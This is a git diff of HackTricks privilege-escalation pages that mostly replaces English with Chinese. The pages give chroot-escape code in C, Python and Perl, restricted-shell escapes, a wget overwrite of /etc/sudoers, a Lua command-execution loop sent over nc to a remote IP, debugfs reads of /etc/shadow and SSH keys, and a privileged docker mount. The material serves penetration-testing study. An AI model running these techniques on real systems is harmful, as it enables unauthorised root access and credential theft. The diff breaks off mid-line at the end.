b/src/linux-hardening/privilege-escalation/escaping-from-limited-bash.md index d2db5d66c..5d9406555 100644 --- a/src/linux-hardening/privilege-escalation/escaping-from-limited-bash.md +++ b/src/linux-hardening/privilege-escalation/escaping-from-limited-bash.md @@ -1,32 +1,31 @@ -# Escaping from Jails +# 从监狱中逃脱 {{#include ../../banners/hacktricks-training.md}} ## **GTFOBins** -**Search in** [**https://gtfobins.github.io/**](https://gtfobins.github.io) **if you can execute any binary with "Shell" property** +**在** [**https://gtfobins.github.io/**](https://gtfobins.github.io) **中搜索是否可以执行任何具有 "Shell" 属性的二进制文件** -## Chroot Escapes +## Chroot 逃逸 -From [wikipedia](https://en.wikipedia.org/wiki/Chroot#Limitations): The chroot mechanism is **not intended to defend** against intentional tampering by **privileged** (**root**) **users**. On most systems, chroot contexts do not stack properly and chrooted programs **with sufficient privileges may perform a second chroot to break out**.\ -Usually this means that to escape you need to be root inside the chroot. +来自 [wikipedia](https://en.wikipedia.org/wiki/Chroot#Limitations):chroot 机制**并不旨在防御**来自**特权**(**root**)**用户**的故意篡改。在大多数系统中,chroot 上下文不能正确堆叠,具有足够权限的 chroot 程序**可能会执行第二次 chroot 以突破**。\ +通常这意味着要逃脱,你需要在 chroot 内部是 root。 > [!TIP] -> The **tool** [**chw00t**](https://github.com/earthquake/chw00t) was created to abuse the following escenarios and scape from `chroot`. +> **工具** [**chw00t**](https://github.com/earthquake/chw00t) 是为了滥用以下场景并从 `chroot` 中逃脱而创建的。 ### Root + CWD > [!WARNING] -> If you are **root** inside a chroot you **can escape** creating **another chroot**. This because 2 chroots cannot coexists (in Linux), so if you create a folder and then **create a new chroot** on that new folder being **you outside of it**, you will now be **outside of the new chroot** and therefore you will be in the FS. +> 如果你在 chroot 内部是**root**,你**可以逃脱**,创建**另一个 chroot**。这是因为两个 chroot 不能共存(在 Linux 中),所以如果你创建一个文件夹,然后在那个新文件夹上**创建一个新的 chroot**,而你**在外面**,你现在将**在新的 chroot 之外**,因此你将处于文件系统中。 > -> This occurs because usually chroot DOESN'T move your working directory to the indicated one, so you can create a chroot but e outside of it. +> 这发生是因为通常 chroot 并不会将你的工作目录移动到指定的目录,所以你可以创建一个 chroot,但在它之外。 -Usually you won't find the `chroot` binary inside a chroot jail, but you **could compile, upload and execute** a binary: +通常你不会在 chroot 监狱中找到 `chroot` 二进制文件,但你**可以编译、上传并执行**一个二进制文件:
C: break_chroot.c - ```c #include #include @@ -36,61 +35,55 @@ Usually you won't find the `chroot` binary inside a chroot jail, but you **could int main(void) { - mkdir("chroot-dir", 0755); - chroot("chroot-dir"); - for(int i = 0; i < 1000; i++) { - chdir(".."); - } - chroot("."); - system("/bin/bash"); +mkdir("chroot-dir", 0755); +chroot("chroot-dir"); +for(int i = 0; i < 1000; i++) { +chdir(".."); +} +chroot("."); +system("/bin/bash"); } ``` -
Python - ```python #!/usr/bin/python import os os.mkdir("chroot-dir") os.chroot("chroot-dir") for i in range(1000): - os.chdir("..") +os.chdir("..") os.chroot(".") os.system("/bin/bash") ``` -
Perl - ```perl #!/usr/bin/perl mkdir "chroot-dir"; chroot "chroot-dir"; foreach my $i (0..1000) { - chdir ".." +chdir ".." } chroot "."; system("/bin/bash"); ``` -
### Root + Saved fd > [!WARNING] -> This is similar to the previous case, but in this case the **attacker stores a file descriptor to the current directory** and then **creates the chroot in a new folder**. Finally, as he has **access** to that **FD** **outside** of the chroot, he access it and he **escapes**. +> 这与之前的情况类似,但在这种情况下,**攻击者将当前目录的文件描述符存储起来**,然后**在新文件夹中创建 chroot**。最后,由于他对该 **FD** **在 chroot 外部** 的 **访问**,他访问它并 **逃脱**。
C: break_chroot.c - ```c #include #include @@ -100,70 +93,68 @@ system("/bin/bash"); int main(void) { - mkdir("tmpdir", 0755); - dir_fd = open(".", O_RDONLY); - if(chroot("tmpdir")){ - perror("chroot"); - } - fchdir(dir_fd); - close(dir_fd); - for(x = 0; x < 1000; x++) chdir(".."); - chroot("."); +mkdir("tmpdir", 0755); +dir_fd = open(".", O_RDONLY); +if(chroot("tmpdir")){ +perror("chroot"); +} +fchdir(dir_fd); +close(dir_fd); +for(x = 0; x < 1000; x++) chdir(".."); +chroot("."); } ``` -
### Root + Fork + UDS (Unix Domain Sockets) > [!WARNING] -> FD can be passed over Unix Domain Sockets, so: +> FD 可以通过 Unix Domain Sockets 传递,因此: > -> - Create a child process (fork) -> - Create UDS so parent and child can talk -> - Run chroot in child process in a different folder -> - In parent proc, create a FD of a folder that is outside of new child proc chroot -> - Pass to child procc that FD using the UDS -> - Child process chdir to that FD, and because it's ouside of its chroot, he will escape the jail +> - 创建一个子进程 (fork) +> - 创建 UDS 以便父进程和子进程可以通信 +> - 在子进程中在不同的文件夹中运行 chroot +> - 在父进程中,创建一个位于新子进程 chroot 之外的文件夹的 FD +> - 通过 UDS 将该 FD 传递给子进程 +> - 子进程 chdir 到该 FD,因为它在其 chroot 之外,因此将逃离监狱 ### Root + Mount > [!WARNING] > -> - Mounting root device (/) into a directory inside the chroot -> - Chrooting into that directory +> - 将根设备 (/) 挂载到 chroot 内的一个目录 +> - chroot 到该目录 > -> This is possible in Linux +> 这在 Linux 中是可能的 ### Root + /proc > [!WARNING] > -> - Mount procfs into a directory inside the chroot (if it isn't yet) -> - Look for a pid that has a different root/cwd entry, like: /proc/1/root -> - Chroot into that entry +> - 将 procfs 挂载到 chroot 内的一个目录 (如果尚未挂载) +> - 查找具有不同 root/cwd 条目的 pid,例如:/proc/1/root +> - chroot 到该条目 ### Root(?) + Fork > [!WARNING] > -> - Create a Fork (child proc) and chroot into a different folder deeper in the FS and CD on it -> - From the parent process, move the folder where the child process is in a folder previous to the chroot of the children -> - This children process will find himself outside of the chroot +> - 创建一个 Fork (子进程) 并 chroot 到文件系统中更深处的不同文件夹并在其上 CD +> - 从父进程中,将子进程所在的文件夹移动到子进程 chroot 之前的文件夹 +> - 这个子进程将发现自己在 chroot 之外 ### ptrace > [!WARNING] > -> - Time ago users could debug its own processes from a process of itself... but this is not possible by default anymore -> - Anyway, if it's possible, you could ptrace into a process and execute a shellcode inside of it ([see this example](linux-capabilities.md#cap_sys_ptrace)). +> - 以前用户可以从自己的进程调试自己的进程……但这在默认情况下不再可能 +> - 无论如何,如果可能的话,你可以 ptrace 进入一个进程并在其中执行 shellcode ([见此示例](linux-capabilities.md#cap_sys_ptrace))。 ## Bash Jails ### Enumeration -Get info about the jail: - +获取有关监狱的信息: ```bash echo $SHELL echo $PATH @@ -171,103 +162,83 @@ env export pwd ``` +### 修改 PATH -### Modify PATH - -Check if you can modify the PATH env variable - +检查您是否可以修改 PATH 环境变量 ```bash echo $PATH #See the path of the executables that you can use PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change the path echo /home/* #List directory ``` - -### Using vim - +### 使用 vim ```bash :set shell=/bin/sh :shell ``` +### 创建脚本 -### Create script - -Check if you can create an executable file with _/bin/bash_ as content - +检查您是否可以创建一个以 _/bin/bash_ 为内容的可执行文件 ```bash red /bin/bash > w wx/path #Write /bin/bash in a writable and executable path ``` +### 通过 SSH 获取 bash -### Get bash from SSH - -If you are accessing via ssh you can use this trick to execute a bash shell: - +如果您通过 ssh 访问,可以使用这个技巧来执行 bash shell: ```bash ssh -t user@ bash # Get directly an interactive shell ssh user@ -t "bash --noprofile -i" ssh user@ -t "() { :; }; sh -i " ``` - -### Declare - +### 声明 ```bash declare -n PATH; export PATH=/bin;bash -i BASH_CMDS[shell]=/bin/bash;shell -i ``` - ### Wget -You can overwrite for example sudoers file - +您可以覆盖例如 sudoers 文件 ```bash wget http://127.0.0.1:8080/sudoers -O /etc/sudoers ``` - -### Other tricks +### 其他技巧 [**https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/**](https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/)\ -[https://pen-testing.sans.org/blog/2012/0**b**6/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells**](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)\ -[https://gtfobins.github.io](https://gtfobins.github.io/**](https/gtfobins.github.io)\ -**It could also be interesting the page:** +[https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)\ +[https://gtfobins.github.io](https://gtfobins.github.io)\ +**这页也可能很有趣:** {{#ref}} ../bypass-bash-restrictions/ {{#endref}} -## Python Jails +## Python 监狱 -Tricks about escaping from python jails in the following page: +关于从 python 监狱中逃脱的技巧在以下页面: {{#ref}} ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/ {{#endref}} -## Lua Jails +## Lua 监狱 -In this page you can find the global functions you have access to inside lua: [https://www.gammon.com.au/scripts/doc.php?general=lua_base](https://www.gammon.com.au/scripts/doc.php?general=lua_base) - -**Eval with command execution:** +在此页面中,您可以找到您在 lua 中可以访问的全局函数:[https://www.gammon.com.au/scripts/doc.php?general=lua_base](https://www.gammon.com.au/scripts/doc.php?general=lua_base) +**带命令执行的 Eval:** ```bash load(string.char(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))() ``` - -Some tricks to **call functions of a library without using dots**: - +一些技巧来**调用库的函数而不使用点**: ```bash print(string.char(0x41, 0x42)) print(rawget(string, "char")(0x41, 0x42)) ``` - -Enumerate functions of a library: - +列举库的函数: ```bash for k,v in pairs(string) do print(k,v) end ``` - -Note that every time you execute the previous one liner in a **different lua environment the order of the functions change**. Therefore if you need to execute one specific function you can perform a brute force attack loading different lua environments and calling the first function of le library: - +请注意,每次在**不同的 lua 环境中执行前面的单行代码时,函数的顺序会改变**。因此,如果您需要执行一个特定的函数,可以通过加载不同的 lua 环境并调用库的第一个函数来进行暴力攻击: ```bash #In this scenario you could BF the victim that is generating a new lua environment #for every interaction with the following line and when you are lucky @@ -278,15 +249,12 @@ for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end #and "char" from string library, and the use both to execute a command for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done ``` - -**Get interactive lua shell**: If you are inside a limited lua shell you can get a new lua shell (and hopefully unlimited) calling: - +**获取交互式 lua shell**:如果您在一个受限的 lua shell 中,可以通过调用以下命令获取一个新的 lua shell(并希望是无限的): ```bash debug.debug() ``` +## 参考 -## References - -- [https://www.youtube.com/watch?v=UO618TeyCWo](https://www.youtube.com/watch?v=UO618TeyCWo) (Slides: [https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions\_-_Bucsay_Balazs.pdf](https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions_-_Bucsay_Balazs.pdf)) +- [https://www.youtube.com/watch?v=UO618TeyCWo](https://www.youtube.com/watch?v=UO618TeyCWo) (幻灯片: [https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions\_-_Bucsay_Balazs.pdf](https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions_-_Bucsay_Balazs.pdf)) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/euid-ruid-suid.md b/src/linux-hardening/privilege-escalation/euid-ruid-suid.md index f9846b44b..d8be1440a 100644 --- a/src/linux-hardening/privilege-escalation/euid-ruid-suid.md +++ b/src/linux-hardening/privilege-escalation/euid-ruid-suid.md @@ -2,88 +2,79 @@ {{#include ../../banners/hacktricks-training.md}} -
+### 用户标识变量 -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: +- **`ruid`**: **真实用户 ID** 表示发起该进程的用户。 +- **`euid`**: 被称为 **有效用户 ID**,它代表系统用来确定进程权限的用户身份。通常情况下,`euid` 与 `ruid` 相同,除非在执行 SetUID 二进制文件的情况下,`euid` 会采用文件所有者的身份,从而授予特定的操作权限。 +- **`suid`**: 这个 **保存的用户 ID** 在高权限进程(通常以 root 身份运行)需要暂时放弃其权限以执行某些任务时至关重要,之后再恢复其最初的提升状态。 -{% embed url="https://academy.8ksec.io/" %} +#### 重要说明 -### User Identification Variables +非 root 进程只能将其 `euid` 修改为当前的 `ruid`、`euid` 或 `suid`。 -- **`ruid`**: The **real user ID** denotes the user who initiated the process. -- **`euid`**: Known as the **effective user ID**, it represents the user identity utilized by the system to ascertain process privileges. Generally, `euid` mirrors `ruid`, barring instances like a SetUID binary execution, where `euid` assumes the file owner's identity, thus granting specific operational permissions. -- **`suid`**: This **saved user ID** is pivotal when a high-privilege process (typically running as root) needs to temporarily relinquish its privileges to perform certain tasks, only to later reclaim its initial elevated status. +### 理解 set\*uid 函数 -#### Important Note +- **`setuid`**: 与最初的假设相反,`setuid` 主要修改 `euid` 而不是 `ruid`。具体而言,对于特权进程,它将 `ruid`、`euid` 和 `suid` 与指定用户(通常是 root)对齐,有效地巩固这些 ID,因为 `suid` 的覆盖。详细信息可以在 [setuid man page](https://man7.org/linux/man-pages/man2/setuid.2.html) 中找到。 +- **`setreuid`** 和 **`setresuid`**: 这些函数允许对 `ruid`、`euid` 和 `suid` 进行细致的调整。然而,它们的能力取决于进程的权限级别。对于非 root 进程,修改仅限于当前的 `ruid`、`euid` 和 `suid` 值。相比之下,root 进程或具有 `CAP_SETUID` 能力的进程可以为这些 ID 分配任意值。更多信息可以从 [setresuid man page](https://man7.org/linux/man-pages/man2/setresuid.2.html) 和 [setreuid man page](https://man7.org/linux/man-pages/man2/setreuid.2.html) 中获取。 -A process not operating under root can only modify its `euid` to match the current `ruid`, `euid`, or `suid`. +这些功能的设计并不是作为安全机制,而是为了促进预期的操作流程,例如当程序通过更改其有效用户 ID 来采用另一个用户的身份时。 -### Understanding set\*uid Functions +值得注意的是,虽然 `setuid` 可能是提升到 root 权限的常用方法(因为它将所有 ID 对齐到 root),但区分这些函数对于理解和操控不同场景下的用户 ID 行为至关重要。 -- **`setuid`**: Contrary to initial assumptions, `setuid` primarily modifies `euid` rather than `ruid`. Specifically, for privileged processes, it aligns `ruid`, `euid`, and `suid` with the specified user, often root, effectively solidifying these IDs due to the overriding `suid`. Detailed insights can be found in the [setuid man page](https://man7.org/linux/man-pages/man2/setuid.2.html). -- **`setreuid`** and **`setresuid`**: These functions allow for the nuanced adjustment of `ruid`, `euid`, and `suid`. However, their capabilities are contingent on the process's privilege level. For non-root processes, modifications are restricted to the current values of `ruid`, `euid`, and `suid`. In contrast, root processes or those with `CAP_SETUID` capability can assign arbitrary values to these IDs. More information can be gleaned from the [setresuid man page](https://man7.org/linux/man-pages/man2/setresuid.2.html) and the [setreuid man page](https://man7.org/linux/man-pages/man2/setreuid.2.html). +### Linux 中的程序执行机制 -These functionalities are designed not as a security mechanism but to facilitate the intended operational flow, such as when a program adopts another user's identity by altering its effective user ID. +#### **`execve` 系统调用** -Notably, while `setuid` might be a common go-to for privilege elevation to root (since it aligns all IDs to root), differentiating between these functions is crucial for understanding and manipulating user ID behaviors in varying scenarios. +- **功能**: `execve` 启动一个程序,由第一个参数决定。它接受两个数组参数,`argv` 用于参数,`envp` 用于环境。 +- **行为**: 它保留调用者的内存空间,但刷新堆栈、堆和数据段。程序的代码被新程序替换。 +- **用户 ID 保持**: +- `ruid`、`euid` 和附加的组 ID 保持不变。 +- 如果新程序设置了 SetUID 位,`euid` 可能会有细微变化。 +- `suid` 在执行后从 `euid` 更新。 +- **文档**: 详细信息可以在 [`execve` man page](https://man7.org/linux/man-pages/man2/execve.2.html) 中找到。 -### Program Execution Mechanisms in Linux +#### **`system` 函数** -#### **`execve` System Call** +- **功能**: 与 `execve` 不同,`system` 使用 `fork` 创建一个子进程,并在该子进程中执行命令,使用 `execl`。 +- **命令执行**: 通过 `sh` 执行命令,使用 `execl("/bin/sh", "sh", "-c", command, (char *) NULL);`。 +- **行为**: 由于 `execl` 是 `execve` 的一种形式,它在新子进程的上下文中以类似方式操作。 +- **文档**: 进一步的见解可以从 [`system` man page](https://man7.org/linux/man-pages/man3/system.3.html) 中获得。 -- **Functionality**: `execve` initiates a program, determined by the first argument. It takes two array arguments, `argv` for arguments and `envp` for the environment. -- **Behavior**: It retains the memory space of the caller but refreshes the stack, heap, and data segments. The program's code is replaced by the new program. -- **User ID Preservation**: - - `ruid`, `euid`, and supplementary group IDs remain unaltered. - - `euid` might have nuanced changes if the new program has the SetUID bit set. - - `suid` gets updated from `euid` post-execution. -- **Documentation**: Detailed information can be found on the [`execve` man page](https://man7.org/linux/man-pages/man2/execve.2.html). - -#### **`system` Function** - -- **Functionality**: Unlike `execve`, `system` creates a child process using `fork` and executes a command within that child process using `execl`. -- **Command Execution**: Executes the command via `sh` with `execl("/bin/sh", "sh", "-c", command, (char *) NULL);`. -- **Behavior**: As `execl` is a form of `execve`, it operates similarly but in the context of a new child process. -- **Documentation**: Further insights can be obtained from the [`system` man page](https://man7.org/linux/man-pages/man3/system.3.html). - -#### **Behavior of `bash` and `sh` with SUID** +#### **带有 SUID 的 `bash` 和 `sh` 的行为** - **`bash`**: - - Has a `-p` option influencing how `euid` and `ruid` are treated. - - Without `-p`, `bash` sets `euid` to `ruid` if they initially differ. - - With `-p`, the initial `euid` is preserved. - - More details can be found on the [`bash` man page](https://linux.die.net/man/1/bash). +- 具有 `-p` 选项,影响 `euid` 和 `ruid` 的处理方式。 +- 如果没有 `-p`,`bash` 会将 `euid` 设置为 `ruid`,如果它们最初不同。 +- 如果有 `-p`,则保留初始的 `euid`。 +- 更多细节可以在 [`bash` man page](https://linux.die.net/man/1/bash) 中找到。 - **`sh`**: - - Does not possess a mechanism similar to `-p` in `bash`. - - The behavior concerning user IDs is not explicitly mentioned, except under the `-i` option, emphasizing the preservation of `euid` and `ruid` equality. - - Additional information is available on the [`sh` man page](https://man7.org/linux/man-pages/man1/sh.1p.html). +- 不具备类似于 `bash` 中的 `-p` 的机制。 +- 关于用户 ID 的行为没有明确提及,除了在 `-i` 选项下,强调保持 `euid` 和 `ruid` 的相等性。 +- 额外信息可在 [`sh` man page](https://man7.org/linux/man-pages/man1/sh.1p.html) 中找到。 -These mechanisms, distinct in their operation, offer a versatile range of options for executing and transitioning between programs, with specific nuances in how user IDs are managed and preserved. +这些机制在操作上各不相同,提供了多种执行和程序间转换的选项,具体细节在用户 ID 的管理和保持方面有所不同。 -### Testing User ID Behaviors in Executions +### 测试执行中的用户 ID 行为 -Examples taken from https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail, check it for further information +示例取自 https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail,查看以获取更多信息 -#### Case 1: Using `setuid` with `system` +#### 案例 1: 使用 `setuid` 和 `system` -**Objective**: Understanding the effect of `setuid` in combination with `system` and `bash` as `sh`. - -**C Code**: +**目标**: 理解 `setuid` 与 `system` 和 `bash` 作为 `sh` 结合的效果。 +**C 代码**: ```c #define _GNU_SOURCE #include #include int main(void) { - setuid(1000); - system("id"); - return 0; +setuid(1000); +system("id"); +return 0; } ``` - -**Compilation and Permissions:** - +**编译和权限:** ```bash oxdf@hacky$ gcc a.c -o /mnt/nfsshare/a; oxdf@hacky$ chmod 4755 /mnt/nfsshare/a @@ -93,132 +84,108 @@ oxdf@hacky$ chmod 4755 /mnt/nfsshare/a bash-4.2$ $ ./a uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0 ``` +**分析:** -**Analysis:** +- `ruid` 和 `euid` 初始值分别为 99 (nobody) 和 1000 (frank)。 +- `setuid` 将两者都调整为 1000。 +- `system` 执行 `/bin/bash -c id`,这是由于 sh 到 bash 的符号链接。 +- `bash` 在没有 `-p` 的情况下,将 `euid` 调整为与 `ruid` 匹配,导致两者都为 99 (nobody)。 -- `ruid` and `euid` start as 99 (nobody) and 1000 (frank) respectively. -- `setuid` aligns both to 1000. -- `system` executes `/bin/bash -c id` due to the symlink from sh to bash. -- `bash`, without `-p`, adjusts `euid` to match `ruid`, resulting in both being 99 (nobody). - -#### Case 2: Using setreuid with system - -**C Code**: +#### 案例 2:使用 setreuid 和 system +**C 代码**: ```c #define _GNU_SOURCE #include #include int main(void) { - setreuid(1000, 1000); - system("id"); - return 0; +setreuid(1000, 1000); +system("id"); +return 0; } ``` - -**Compilation and Permissions:** - +**编译和权限:** ```bash oxdf@hacky$ gcc b.c -o /mnt/nfsshare/b; chmod 4755 /mnt/nfsshare/b ``` - -**Execution and Result:** - +**执行和结果:** ```bash bash-4.2$ $ ./b uid=1000(frank) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0 ``` +**分析:** -**Analysis:** +- `setreuid` 将 ruid 和 euid 都设置为 1000。 +- `system` 调用 bash,由于用户 ID 的相等性,保持用户 ID,有效地作为 frank 操作。 -- `setreuid` sets both ruid and euid to 1000. -- `system` invokes bash, which maintains the user IDs due to their equality, effectively operating as frank. - -#### Case 3: Using setuid with execve - -Objective: Exploring the interaction between setuid and execve. +#### 案例 3:使用 setuid 和 execve +目标:探索 setuid 和 execve 之间的交互。 ```bash #define _GNU_SOURCE #include #include int main(void) { - setuid(1000); - execve("/usr/bin/id", NULL, NULL); - return 0; +setuid(1000); +execve("/usr/bin/id", NULL, NULL); +return 0; } ``` - -**Execution and Result:** - +**执行和结果:** ```bash bash-4.2$ $ ./c uid=99(nobody) gid=99(nobody) euid=1000(frank) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0 ``` +**分析:** -**Analysis:** - -- `ruid` remains 99, but euid is set to 1000, in line with setuid's effect. - -**C Code Example 2 (Calling Bash):** +- `ruid` 保持为 99,但 euid 被设置为 1000,符合 setuid 的效果。 +**C 代码示例 2(调用 Bash):** ```bash #define _GNU_SOURCE #include #include int main(void) { - setuid(1000); - execve("/bin/bash", NULL, NULL); - return 0; +setuid(1000); +execve("/bin/bash", NULL, NULL); +return 0; } ``` - -**Execution and Result:** - +**执行和结果:** ```bash bash-4.2$ $ ./d bash-4.2$ $ id uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0 ``` +**分析:** -**Analysis:** - -- Although `euid` is set to 1000 by `setuid`, `bash` resets euid to `ruid` (99) due to the absence of `-p`. - -**C Code Example 3 (Using bash -p):** +- 尽管 `euid` 通过 `setuid` 设置为 1000,`bash` 由于缺少 `-p` 将 `euid` 重置为 `ruid` (99)。 +**C 代码示例 3 (使用 bash -p):** ```bash #define _GNU_SOURCE #include #include int main(void) { - char *const paramList[10] = {"/bin/bash", "-p", NULL}; - setuid(1000); - execve(paramList[0], paramList, NULL); - return 0; +char *const paramList[10] = {"/bin/bash", "-p", NULL}; +setuid(1000); +execve(paramList[0], paramList, NULL); +return 0; } ``` - -**Execution and Result:** - +**执行和结果:** ```bash bash-4.2$ $ ./e bash-4.2$ $ id uid=99(nobody) gid=99(nobody) euid=100 ``` - -## References +## 参考 - [https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail](https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail) -
- -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md index 65f2880a1..4f19ef236 100644 --- a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md +++ b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md @@ -14,9 +14,9 @@ # Allow members of group admin to execute any command %admin ALL=(ALL:ALL) ALL ``` -这意味着 **任何属于 sudo 或 admin 组的用户都可以以 sudo 身份执行任何操作**。 +这意味着**任何属于sudo或admin组的用户都可以以sudo身份执行任何操作**。 -如果是这种情况,要 **成为 root,你只需执行**: +如果是这种情况,要**成为root,你只需执行**: ``` sudo su ``` @@ -27,7 +27,7 @@ sudo su find / -perm -4000 2>/dev/null ``` 如果你发现二进制文件 **pkexec 是一个 SUID 二进制文件**,并且你属于 **sudo** 或 **admin**,你可能可以使用 `pkexec` 以 sudo 身份执行二进制文件。\ -这是因为通常这些是 **polkit 策略** 中的组。该策略基本上识别哪些组可以使用 `pkexec`。使用以下命令检查: +这是因为通常这些是 **polkit 策略** 中的组。该策略基本上确定哪些组可以使用 `pkexec`。使用以下命令检查: ```bash cat /etc/polkit-1/localauthority.conf.d/* ``` @@ -60,7 +60,7 @@ pkttyagent --process #Step 2, attach pkttyagent to session1 ``` %wheel ALL=(ALL:ALL) ALL ``` -这意味着 **属于 wheel 组的任何用户都可以以 sudo 身份执行任何操作**。 +这意味着 **任何属于 wheel 组的用户都可以以 sudo 执行任何操作**。 如果是这样,要 **成为 root,你只需执行**: ``` @@ -76,7 +76,7 @@ sudo su ## 员工组 -**staff**: 允许用户在不需要根权限的情况下对系统进行本地修改(`/usr/local`)(请注意,`/usr/local/bin`中的可执行文件在任何用户的PATH变量中,并且它们可能会“覆盖”`/bin`和`/usr/bin`中同名的可执行文件)。与更相关于监控/安全的“adm”组进行比较。 [\[source\]](https://wiki.debian.org/SystemGroups) +**staff**: 允许用户在不需要根权限的情况下对系统进行本地修改(`/usr/local`)(注意,`/usr/local/bin`中的可执行文件在任何用户的PATH变量中,并且它们可能会“覆盖”在`/bin`和`/usr/bin`中具有相同名称的可执行文件)。与更相关于监控/安全的“adm”组进行比较。 [\[source\]](https://wiki.debian.org/SystemGroups) 在debian发行版中,`$PATH`变量显示`/usr/local/`将以最高优先级运行,无论您是否是特权用户。 ```bash @@ -96,7 +96,7 @@ $ cat /etc/crontab | grep run-parts 47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; } 52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; } ``` -或当一个新的ssh会话登录时。 +或当一个新的 ssh 会话登录时。 ```bash $ pspy64 2024/02/01 22:02:08 CMD: UID=0 PID=1 | init [2] @@ -141,7 +141,7 @@ debugfs: ls debugfs: cat /root/.ssh/id_rsa debugfs: cat /etc/shadow ``` -请注意,使用 debugfs 您也可以 **写入文件**。例如,要将 `/tmp/asd1.txt` 复制到 `/tmp/asd2.txt`,您可以执行: +请注意,使用 debugfs 你也可以 **写入文件**。例如,要将 `/tmp/asd1.txt` 复制到 `/tmp/asd2.txt`,你可以这样做: ```bash debugfs -w /dev/sda1 debugfs: dump /tmp/asd1.txt /tmp/asd2.txt @@ -173,7 +173,7 @@ cat /sys/class/graphics/fb0/virtual_size ## Root Group -看起来默认情况下**root组的成员**可以访问**修改**一些**服务**配置文件或一些**库**文件或**其他有趣的东西**,这些都可以用来提升权限... +看起来默认情况下**root组的成员**可以访问**修改**某些**服务**配置文件或某些**库**文件或**其他有趣的东西**,这些都可以用来提升权限... **检查root成员可以修改哪些文件**: ```bash @@ -199,7 +199,7 @@ docker run --rm -it --pid=host --net=host --privileged -v /:/mnt chr ../docker-security/ {{#endref}} -如果你对 docker socket 有写权限,请阅读[**这篇关于如何利用 docker socket 升级权限的文章**](../#writable-docker-socket)**。** +如果你对 docker socket 有写权限,请阅读[**这篇关于如何通过滥用 docker socket 提升权限的文章**](../#writable-docker-socket)**。** {% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %} @@ -219,6 +219,6 @@ docker run --rm -it --pid=host --net=host --privileged -v /:/mnt chr ## Auth 组 在 OpenBSD 中,**auth** 组通常可以在 _**/etc/skey**_ 和 _**/var/db/yubikey**_ 文件夹中写入(如果它们被使用)。\ -这些权限可能会被以下漏洞利用,以**升级权限**到 root:[https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot) +这些权限可能会被滥用,使用以下漏洞来**提升权限**到 root:[https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/ld.so.conf-example.md b/src/linux-hardening/privilege-escalation/ld.so.conf-example.md index e87a58e29..0c804d1a2 100644 --- a/src/linux-hardening/privilege-escalation/ld.so.conf-example.md +++ b/src/linux-hardening/privilege-escalation/ld.so.conf-example.md @@ -1,10 +1,10 @@ -# ld.so privesc exploit example +# ld.so 提权漏洞示例 {{#include ../../banners/hacktricks-training.md}} ## 准备环境 -在以下部分,您可以找到我们将用于准备环境的文件代码 +在以下部分中,您可以找到我们将用于准备环境的文件代码 {{#tabs}} {{#tab name="sharedvuln.c"}} @@ -41,13 +41,13 @@ puts("Hi"); {{#endtabs}} 1. **在**您的机器上在同一文件夹中**创建**这些文件 -2. **编译**该**库**: `gcc -shared -o libcustom.so -fPIC libcustom.c` -3. **复制** `libcustom.so` 到 `/usr/lib`: `sudo cp libcustom.so /usr/lib` (root privs) -4. **编译**该**可执行文件**: `gcc sharedvuln.c -o sharedvuln -lcustom` +2. **编译** **库**: `gcc -shared -o libcustom.so -fPIC libcustom.c` +3. **复制** `libcustom.so` 到 `/usr/lib`: `sudo cp libcustom.so /usr/lib` (root 权限) +4. **编译** **可执行文件**: `gcc sharedvuln.c -o 